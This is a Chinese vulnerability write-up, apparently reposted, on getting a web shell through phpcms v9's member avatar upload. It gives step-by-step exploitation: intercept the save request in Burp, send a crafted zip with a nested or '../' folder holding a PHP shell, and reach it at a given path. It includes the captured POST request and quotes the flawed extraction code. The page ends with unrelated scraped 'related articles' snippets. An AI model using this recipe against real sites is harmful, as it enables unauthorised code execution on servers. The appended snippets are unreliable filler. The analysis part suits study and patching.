摘要

这个算杂记吧。难得老衲啰嗦一次。最开始是11月27号,突然看到一枚补丁。说是前台上传头像可getshell.立马被吸引住了。通过两份补丁的对比,发现在处理压缩包的过程中出现了一段删除当前文件夹下的全部文件夹。然后就菊花一紧。通过通读代码,发现上传的过程是

这个算杂记吧。难得老衲啰嗦一次。最开始是11月27号,突然看到一枚补丁。说是前台上传头像可getshell.立马被吸引住了。通过两份补丁的对比,发现在处理压缩包的过程中出现了一段删除当前文件夹下的全部文件夹。然后就菊花一紧。通过通读代码,发现上传的过程是

用户上传头像---通过flash里面的js把当前的头像处理成三张不同的格式,然后压缩

用户点击保存的时候把当前的压缩包直接上传的解包的位置,然后把图像释放出来。然后删除临时文件

利用过程就出来了,上传图片,然后在点击保存的时候进行抓包。然后发送的内容为自己的。

常用的就是burp,把包的内容给清理掉.替换为自己的,构造包的内容为带文件夹的。然后上传就可以了。

1:利用过程

头像上传

[php]

POST /coder/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=dc64BlNRU1UCCAkCVVpUBgcHCVIHUFdTVVZRCVcUD1RfBRBGED4CEEZQZlkAQVxdEjVsVRJVB0MOKn4JUTEPBTQFDlVXLAocQG9SUQlzJA HTTP/1.1

Host: w

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: pIbCO_auth=7d75AlZVBwEJUQJRAVUOBQ5dAVMGUFZQA1UGAFdfBgBVMGJ0MCRmeHwgczdnMwhrezJfe3o0W2hXdXFpMiQBXFAkdWQyKnZwaSJ0K2knVXRqJl93fidmfFJ1ZnkwJGFXezBUXjIzQHB%2FI3MCdCdod30; pIbCO__userid=0389UVEEA1YFAlYDBVYBXgBXVwZbVgtaUVsAVQdU; pIbCO__username=3a02CFUBAFEJAQQFAANRDlwAB1xXXAIJVVULAwhRQloNS0Q; pIbCO__nickname=aaedBQYHAAEJAVYHAlcDVQkAVQ0MCVAIUANaUl1QQFENQEU; pIbCO__groupid=c88fBAEHVFZUUVYAVFdSAAJdUFQLCFcHBwlQAFoK; pgv_pvi=3195626496; KB705_uid=1; KB705_hash=4f323b42; KB705_subject_1=a%3A1%3A%7Bi%3A1%3Bs%3A4%3A%22xxxx%22%3B%7D; CNZZDATA1670348=cnzz_eid%3D1956334698-1385137117-http%253A%252F%252Fw%26ntime%3D1385196897%26cnzz_a%3D26%26ltime%3D1385196895825%26rtime%3D1; CKFinder_Path=upload%3A%2F%3A1; bdshare_firstime=1385212437421; PHPSESSID=56r0gabfklka4tfg6g4gr957h5

Connection: keep-alive

Referer: http://0day5.com/phpcms/phpsso_server/statics/images/main.swf

Content-type: application/octet-stream

Content-Length: 26847

PK

[/php]

选择特定的 zip 压缩文件 点击 forward 即可

然后 shell的 目录为 phpsso_server/uploadfile/avatar/1/1/1/21/1/info.php

红色值为 个人id 根据burp 返回的数据可以看到

2:漏洞分析

phpsso_server/phpcms/modules/phpsso/index.php

[php]

//存储flashpost图片

$filename = $dir.$this->uid.'.zip';

file_put_contents($filename, $this->avatardata);

//此时写入压缩文件夹内容

//解压缩文件

pc_base::load_app_class('pclzip', 'phpsso', 0);

$archive = new PclZip($filename);

if ($archive->extract(PCLZIP_OPT_PATH, $dir) == 0) {

die("Error : ".$archive->errorInfo(true));

}

//568 行

//判断文件安全,删除压缩包和非jpg图片

$avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');

if($handle = opendir($dir)) {

while(false !== ($file = readdir($handle))) {

if($file !== '.' && $file !== '..') {

if(!in_array($file, $avatararr)) {

@unlink($dir.$file);

} else {

$info = @getimagesize($dir.$file);

if(!$info || $info[2] !=2) {

@unlink($dir.$file);

}

}

}

}[/php]

梳理下文件上传流程 把post 过来的zip内容吸入 zip文件 -> 解压 ->清除非图片文件

漏洞就出在了最后一步 检查文件文件内容的时候 没有递归 也没有删除文件夹

尼玛 狗血有木有 zip文件夹中里面在新建个文件夹 这样就绕过的检测 shell到手

然后在车上的时候就在想这个怎么图片,在ssh连接服务器执行 cd ..的时候突然想到,如果我们构造的包是../的文件夹呢~客观你说是吧。然后华丽丽的第二次突破就毫无节操的成功了。

php v9 用户头像,phpcms v9前台会员中心上传头像可getshell | CN-SEC 中文网相关推荐

  1. 会员中心上传头像时的,上传图片并剪切

    可以在我的资源下载:http://download.csdn.net/detail/qq_33769914/9875716(会员中心上传头像时的,上传图片并剪切) 似乎没有压缩,只在本地看的话还是好的 ...

  2. php v9 邮箱登陆,PHPCMS v9会员登录支持Email登录的实现方法

    帝国CMS技术互助群:540946827 一帮大神带你装逼带你飞!还有漂亮的妹纸陪你玩哦! phpcms默认的会员登录没有使用email登录的功能,需要自己开发,下面cms资源网就告诉大家详细的开发方 ...

  3. phpcms v9 支持 php7,phpcms v9 整合 phpwind 8.7

    一.整合说明 该整合程序支持整合phpcms v9 & phpwind 8.x系列产品 (下面是整合phpwind8.7的事例) 整合是以phpcms为服务端 整合内容包含:会员统一注册,统一 ...

  4. php v9验证码错误,PHPCMS v9后台登陆提示验证码错误的解决方法

    PHPCMS v9的验证码生成后,会把验证码的数字存入Session当中. PHPCMS v9在默认的情况下,Session是存放在数据库当中的. 如果出现登录和评论时报验证码错误,可以参照如下的方式 ...

  5. phpcms v9 index.php,Phpcms V9后台登录地址修改方法

    在介绍了怎么修改Phpcms V9内容编辑器之后,今天CMSYOU在此继续分享Phpcms V9后台登录地址的修改方法. 在备份程序文件的前提下,下面一步一步来,教会你如何修改phpcms v9默认后 ...

  6. php v9 分页静态,phpcms v9 为分类和内容添加伪静态

    大家在使用phpcms v9的时候可能想用伪静态来美化url,但是可能程序自身的可能无法满足,在这里我列出了2种方法,还有更高级的以后有机会再告诉大家 1.不改变程序下的方法 优点就是部署快速,缺点就 ...

  7. php上传头像的代码,php视频拍照上传头像功能实现代码分享

    如果要在php中实现视频拍照我们需要借助于flash插件了,由flash拍出的确照片我们再通过php的$GLOBALS ['HTTP_RAW_POST_DATA']接受数据,然后保存成图片就可以了,下 ...

  8. 动态头像 Android 实现,Android开发中实现一个头像滑动变大变小功能

    Android开发中实现一个头像滑动变大变小功能 发布时间:2020-11-21 16:36:20 来源:亿速云 阅读:74 作者:Leah 这篇文章给大家介绍Android开发中实现一个头像滑动变大 ...

  9. php v9 分页静态,PHPCMS V9自定义栏目伪静态实现方法(列表页/分页/内容页)

    phpcmsV9 栏目伪静态的修改方法(支持自定义目录名),官方程序默认伪静态是不支持自定义栏目名的,所以今天就做了以下修改,让其支持! 一.编写.htaccess中的urlrewrite规则 首先看 ...

  10. phpcms v9 首页 html,PHPCMS V9 TAG静态页面实现教程

    下面是步骤(注:只做了TAG首页的列表的静态,TAG内容列表的没做): 1.先安装"世界首富"的TAG插件,网上可以搜到.因为我们要用和的tags表,PHPCMS的tag表数据统计 ...

最新文章

  1. 2018年技术展望--中文版
  2. boost::container实现双端队列选项的测试程序
  3. Nginx负载均衡状态之backup
  4. 使用CImage双缓冲
  5. 防反射JavaScript –如何让您的JS等待
  6. linux内核支持的加密算法,Linux Kernel(Android) 加密算法总结(三)-应用程序调用内核加密算法接口...
  7. python词云改颜色_一种用Python生成词云
  8. php阅读心得,PHP学习路上的一点心得
  9. JUC并发编程中的集合不安全问题源码解析
  10. Linux - grep命令详解
  11. 软件测试学习视频 分享
  12. Vue中变量前加...三个点什么意思
  13. 矩阵分析与应用(二)——矩阵微分
  14. python中div是什么意思_python中divmod是什么
  15. Omi官方插件系列 - omi-transform介绍
  16. 最菜的我之打卡第三天
  17. Cisco无线网络优化建议-针对于Apple设备
  18. Java核心技术 卷1-总结-18
  19. 【原生代码】Python3 实现ATR、MA、EMA、SMMA、RMA、TEMA指标的计算
  20. 【计算机基础】操作系统

热门文章

  1. 量化分析自己的生活——日活统计表,但求客观公正,勿违彼时言!
  2. 基于TB67S109AFNAG的步进电机控制板分享
  3. Java九阳神功--BP神经网络JAVA代码解析
  4. 微信企业号上传图片 php,C#开发微信门户及应用-微信企业号的消息发送(文本、图片、文件、语音、视频、图文消息等)...
  5. 棋牌麻将 - 常用胡牌规则解释及汇总
  6. CF687 D2 C. Bouncing Ball(DP)
  7. 用php编写一个函数_使给定的一个二维数组(3×3)转置,写一个函数 使给定的一个3x3的二维数组转置,即行列互换...
  8. 换根dp 洛谷+upc
  9. winxp升级win7教程_PR CC 2015下载和安装教程
  10. 木瓜移动每日资讯0602:“店小秘”宣布完成1.35亿元人民币B+轮融资